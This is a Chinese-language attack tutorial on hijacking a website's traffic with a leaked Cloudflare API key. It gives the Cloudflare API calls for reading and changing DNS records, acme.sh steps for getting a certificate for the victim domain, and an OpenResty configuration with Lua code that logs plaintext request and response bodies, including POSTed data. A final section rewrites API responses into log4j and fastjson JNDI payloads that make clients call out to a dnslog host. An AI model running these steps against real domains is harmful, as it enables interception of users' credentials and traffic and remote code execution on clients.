背景

攻击者具有修改域名解析记录的权限(比如拥有CloudFlare的API Key),可以修改CNAME或者A记录,想通过修改域名解析记录的方式,获取目标网站的所有流量(包括但不限于POST明文请求)。可以利用OpenResty的Lua扩展功能,记录HTTP请求体和相应的Response。顺嘴提一句,在CloudFalre里面,一般的接口操作都可以用API Key完成,但是一旦涉及到证书的续订下载等操作,需要用CA Key。

攻击流程

首先可以通过API接口查看泄漏的key是否生效:

查看Zones

GET https://api.cloudflare.com/client/v4/zones

查看Zones对应的DNS记录

GET https://api.cloudflare.com/client/v4/zones/<ZONE ID>/dns_records

查看审计日志

获取最近的登陆日志、操作日志、客户端IP等:

GET https://api.cloudflare.com/client/v4/accounts/<Account ID>/audit_logs

查看最近的DNS请求数量

GET https://api.cloudflare.com/client/v4/zones/<ZONE ID>/dns_analytics/report?dimensions=responseCode,queryName&metrics=queryCount&sort=+responseCode,-queryName&filters=responseCode==NOERROR&since=2023-02-13T12:00:00Z&until=2023-02-13T18:00:00Z&limit=1000

HTTPS证书

假如目标网站是https,但是又获取不到https的证书,可以选择使用acme.sh来重新生成另外一份HTTPS证书,因为已经有了DNS的解析权限,可以走DNS验证的方式来获取域名证书:

/root/.acme.sh/acme.sh --issue --dns -d <victim.com> -d "*.<victim.com>" --yes-I-know-dns-manual-mode-enough-go-ahead-please
/root/.acme.sh/acme.sh --renew --dns -d <victim.com> -d "*.<victim.com>" --yes-I-know-dns-manual-mode-enough-go-ahead-please

第一个条命令会生成两个TXT解析,利用已有的DNS权限创建对应的TXT解析记录,然后运行第二条命令,不出意外的话可以成功生成证书。这时可以删除这两条TXT记录,注意使用dns认证的方式生成证书不可以自动续订。
相关的CloudFlare接口:

新增DNS Record

POST https://api.cloudflare.com/client/v4/zones/<Zone ID>/dns_records

{"type":"TXT", "name":"_acme-challenge.<victim.com>", "content":"TK..."}

删除DNS Record

DELETE https://api.cloudflare.com/client/v4/zones/<Zone ID>/dns_records/<DNS Record ID>

步骤

不管是CNAME解析还是A解析都可以修改为A解析的方式,劫持域名到自己的服务器,前提是使用OpenResty把反代设置好,配置文件主要参考virusdefender师傅

server {
    listen 80;
    server_name <victim.com>;
    return 301 https://<victim.com>$request_uri;

}
server {
	listen 443 ssl;
	server_name <victim.com>;
    proxy_ssl_server_name on;
    proxy_ssl_name <victim.com>;
    ssl_certificate /root/.acme.sh/<victim.com>/fullchain.cer;
    ssl_certificate_key /root/.acme.sh/<victim.com>/<victim.com>;
	error_log stderr error;

	location / {
		proxy_pass https://<victim.com>;
		proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;
		proxy_set_header User-Agent $http_user_agent;
		proxy_set_header referer "https://<victim.com>$request_uri";
		proxy_set_header Host $host;


		set $resp_body "";
        set $req_body "";
        access_by_lua '
            ngx.req.read_body();
        ';
        body_filter_by_lua '
            ngx.ctx.buffered = (ngx.ctx.buffered or "") .. ngx.arg[1]
            if ngx.arg[2] then
                ngx.var.resp_body = ngx.ctx.buffered
            end
        ';
        log_by_lua '
        local method=ngx.req.get_method();
        if method == "POST" or (method == "PUT") or (method == "DELETE") then
            ngx.log(ngx.ERR, "\\n".. ngx.req.raw_header());
            if ngx.req.get_body_data() ~= nil then
                ngx.log(ngx.ERR, "\\n====Request===>\\n" .. ngx.req.get_body_data() .. "\\n\\n<===Request====\\n");
            end
            ngx.log(ngx.ERR, "\\n====Response===>\\n" .. ngx.var.resp_body .. "\\n<===Response====\\n");

        end
        ';
	}
	access_log /home/wwwlogs/access.log;
	error_log /home/wwwlogs/error.log;
}

如果想看记录所有的请求,把上面的请求方法判断去掉就可以了。

X-Forwarded-For字段

假如需要劫持的是一个中间代理域名,上游服务器是通过白名单IP来限制访问,获取IP的方式是通过XFF,这时候需要把XFF设置为$remote_addr

Host字段

这里有一个很奇怪的问题,大概是取决于upstream的配置,有时候需要配置为proxy_set_header Host $host,但是有时候可能是proxy_set_header Host $proxy_host

在以上都设置好之后,利用本地hosts绑定的方式先测试网站的接口功能是否正常,生成的日志是否正常。另外可以给80和443端口另外单独做一个默认配置,这样可以防止扫描器等日志出现,只单独记录反代的日志,
比如443端口新增一个自定义证书:

openssl genrsa -out privatekey.pem 2048
openssl req -new -key privatekey.pem -out private-csr.pem
openssl x509 -req -days 365 -in private-csr.pem -signkey privatekey.pem -out certificate.pem

修改OpenResty配置:

server {
        listen       443 ssl;
        server_name  localhost default;

        ssl_certificate      /usr/local/openresty/nginx/certs/certificate.pem;
        ssl_certificate_key  /usr/local/openresty/nginx/certs/privatekey.pem;
        ssl_session_cache    shared:SSL:1m;
        ssl_session_timeout  5m;

        ssl_ciphers  HIGH:!aNULL:!MD5;
        ssl_prefer_server_ciphers  on;

        location / {
            root   html;
            index  index.html index.htm;
        }
    }

经过上面设置这时候反代已经设置好可以进行流量劫持了,先记录原有的DNS解析,然后通过API修改域名的解析记录,解析道自己的服务器上,必要的情况下需要重新改回来:

修改解析记录

PUT https://api.cloudflare.com/client/v4/zones/<ZONE ID>/dns_records/<DNS Record ID>

{"type":"A", "name":"<victim.com>", "content":"<attack ip>", "proxiable": false, "proxied": false}

修改Response

如果有其他的需求,比如修改Response用来测试客户端是否存在fastjson或者log4j漏洞,可以增加以下Lua代码,来修改特定的接口返回值:

location /some-api {
		proxy_pass https://<victim.com>;
		proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ;
		proxy_set_header User-Agent $http_user_agent;
		proxy_set_header referer "https://<victim.com>$request_uri";
		proxy_set_header Host   $proxy_host;


		set $resp_body "";
        set $req_body "";
        access_by_lua '
            ngx.req.read_body();
        ';

        header_filter_by_lua_block { ngx.header.content_length = nil }
        body_filter_by_lua '

            local chunk, eof = ngx.arg[1], ngx.arg[2]
            local buffered = ngx.ctx.buffered
            if not buffered then
            buffered = {}  -- XXX we can use table.new here 
            ngx.ctx.buffered = buffered
            end
            if chunk ~= "" then
            buffered[#buffered + 1] = chunk
            ngx.arg[1] = nil
            end
            if eof then
            local whole = table.concat(buffered)
            ngx.ctx.buffered = nil
            -- try to unzip
            -- local status, debody = pcall(com.decode, whole) 
            -- if status then whole = debody end
            -- try to add or replace response body
            -- local js_code = ...
            -- whole = whole .. js_code
            ngx.log(ngx.ERR, whole)
            whole = string.gsub(whole, ".+",  "{\\"@type\\":\\"java.net.Inet6Address\\",\\"value\\":\\"dnslog\\", \\"message\\":\\"${jndi:ldap://dnslog}\\"}")
            ngx.arg[1] = whole
            end
        ';

        log_by_lua '
        local method=ngx.req.get_method();
         if method == "POST" or (method == "PUT") or (method == "DELETE") then
            ngx.log(ngx.ERR, "\\n".. ngx.req.raw_header());
            if ngx.req.get_body_data() ~= nil then 
                ngx.log(ngx.ERR, "\\n====Request===>\\n" .. ngx.req.get_body_data() .. "\\n\\n<===Request====\\n");
            end
            
            ngx.log(ngx.ERR, "\\n====Response===>\\n" .. ngx.var.resp_body .. "\\n<===Response====\\n");
        end
        ';
        
	}		
⬆︎TOP